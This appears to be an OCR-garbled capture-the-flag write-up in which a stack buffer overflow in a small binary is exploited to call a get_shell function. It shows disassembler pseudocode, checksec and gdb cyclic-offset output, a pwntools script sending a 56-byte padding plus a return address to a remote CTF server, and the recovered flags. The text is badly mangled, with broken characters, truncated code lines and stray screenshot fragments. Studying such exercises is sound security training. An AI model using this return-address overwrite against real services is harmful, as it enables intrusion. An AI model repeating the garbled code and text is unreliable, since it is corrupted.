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3£ UBUNTU 223 pwndbg +pwntools
1. BUR A R HL getshell

Function name Segment  Start A 1jint get_shell ()
(7] init proc _init 000000000 29
(F] sub_400550 .plt 000000000 3 puts("tgl~tgl~tql~tql~tql~tql~tql™);
[#]_puts .plt 00000000( 4 puts("this is your flag!");
[7]_system .plt 00000000( 5/ return system("cat flag");
[f]_memset .plt 00000000 6}
[F]_read .plt 00000000(
[/ libc start main .plt 00000000(
[7]_setvbuf .plt 00000000(
Iz_gmon_start_ .plt. got 000000000
[F]_start . text 000000000
|E| deregister tm clones . text 000000000
Eregisterftmﬁclones . text 000000000
Iz_do_global_dtors_aux . text 000000000
[F] frame_dummy . text 000000000
[Flmain . text 00000000(
get_shell_ . text 000000000
[F]_ libc_csu_init . text 000000000
[F]_ libc_csu_fini . text 000000000
[F]_term proc .fini 000000000
[Flputs extern 00000000(
IE system extern 00000000(¢
[Flmemset extern 00000000(¢
[Flread extern 00000000( ¥
< >
A main
ﬂme;ns wmdo“ R SRR E H;A HVieW:A..w.mn-pn . p;eudocodefA : P— P : p—
Function name Segme lm __cdecl main(int argc, const char **argv, const char **envp)
= o 24
%;ﬁﬁiﬁg;gg ;r{it 3| char s; // [rsp+06h] [rbp-36h]
[F]_puts .plt 4
[7]_system .plt 5/ memset(&s, ©, Ox30ulLl);
[7]_memset .plt 6/ setvbuf(stdout, OLL, 2, OLL);
%Je;ﬂ?b tort mai -Dﬁ 7| setvbuf(stdin, OLL, 1, OLL);
Bl e et i -P 8| puts("say something?");
%*S"mt(‘)’f“sftm .pl1§ 9 read(e, &, ox100ull);
\Zisgarri - :ie;{tg 10| puts("oh,that's so boring!");
Flderegister_tm_clones . text 11 return 0;
E register_tm_clones . text 12 }
[F]__do_global_dtors_aux . text
\z frame_dummy . text
[zmain . text
[Flget_shell . text
\Z __libc_csu_init . text
\; _ libc_csu_fini . text
| f]_term proc . fini
Eputs extern|
\Z system extern
g memset extern
\;read extern
Lilibcfstartfmain extern
f|setvbuf extern

2.checksec pwn2

& B &g~ EfA21:05@
s hewenbin@hewenbin-virtual-machine: ~
X

H(F) 4RIB(E) EE(V) BE(S) £i%(T) FEBIH)
hewenbin@hewenbin-virtual-machine:~5 checksec pwn2
[*] '/[fhome/hewenbin/pwn2'
. Arch: amde4-64-1ittle
RELRO: Partial RELRO

Stack:
PIE:

RWX:
hewenbin@hewenbin-virtual-machine:~$ |




https://btps.dbdogetitiadetwnd

:0000| rsp Ox7fffffffdd70
10008 Ox7fffffffdd78
10010 Ox7fffffffddse
10018 Ox7fffffffdd8s
10020 Ox7fffffffddoe
10028 Ox7fffffffddos
10030 Ox7fffffffdda®

Ox7fffffffdda8

0x0
Ox7fffffffded8 —» Ox7fffffffele9 <« '/home/crypt/pwn/pw
0x100000000

<+ push rbp
0x0
0x97a70523dcb1d560

<+ Xxor ebp, ebp

ox7fffffffde40 <« Ox1

vettivtet

7f0a6161616f
0

cyclic -1 Ox6i61616T




3.9dbkBEAT B, HARRATRIELIRFRT, BEBITRNMER, ChIR R EHRN

GNU gdb (Ubuntu 8.1.1-0Oubuntul) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-1linux-gnu".
T;;an";how configuration" for configuration details.

3 0%y reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.

Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...

Reading symbols from pwn2...(no debugging symbols found)...done.
cyclic 60
daaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa
r
Starting program: /home/crypt/pwn/pwn2
say something?
daaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa
oh,that's so boring! i ]

Program received signal SIGSEGV, Segmentation fault.
Px00007fPa6161616F in 22 ()
LEGEND: STACK | | | | RWX | RODATA

RAX 0x0

RBX 0x0

RCX < cmp rax, -0x1000 /* 'H=' */

°1)) 4 <+ 0

HER  ox1

RSI < or al, byte ptr [rax] /* Oxdcf8cOOOEOOOOBOa; '\n' */
R8 0x14

R9 <+ shl byte ptr [rsi + rdi*8], Oxf7 [* Ox7ffff7fe24co */
R10 0x3

R11 0x246

R12 <+ Xor ebp, ebp

R13 Ox7fffffffdedd <« Ox1

1 I 0D (C)

R15 0x0

RBP 0x6161616e6161616d ('maaanaaa')

RSP Ox7fffffffdd70 « 0x0

RIP 0x7f0a6161616f
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4. 5K BT A 2 H python2 python3# 4 TypeError: must be str, not bytes

from pwn import

remote("114.67.246.176", 15319)
'a'*48+'a' *8+p64(0x400751)
p.recvline()
p.sendline(payload)
p.interactive()




(py36) root@ubuntu:/home/crypt/pwn# python2 123.py

[+] Opening connection to 114.67.246.176 on port 15319: Done  LKSUELITEREIel
[*] Switching to interactive mode

oh,that's so boring! p = remote("114.67.246.176", 15319)
tql~tql~tql~tql~tql~tql~tql payload="a'*48+'a' *8+p64(0x400751)
this is your flag! p.recvline()
flag{99k1s08s6d5a73bcd} p.sendline(payload)

[*i Got EOF while reading in interactive p.interactive()|
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[j_ nc 114.67.246.176 15953
welcome to noteRead system
there is there notebook: flag, flagl, flag2

Please input the note path:
flag

f1ag{99i92008s6d5a73bcd R
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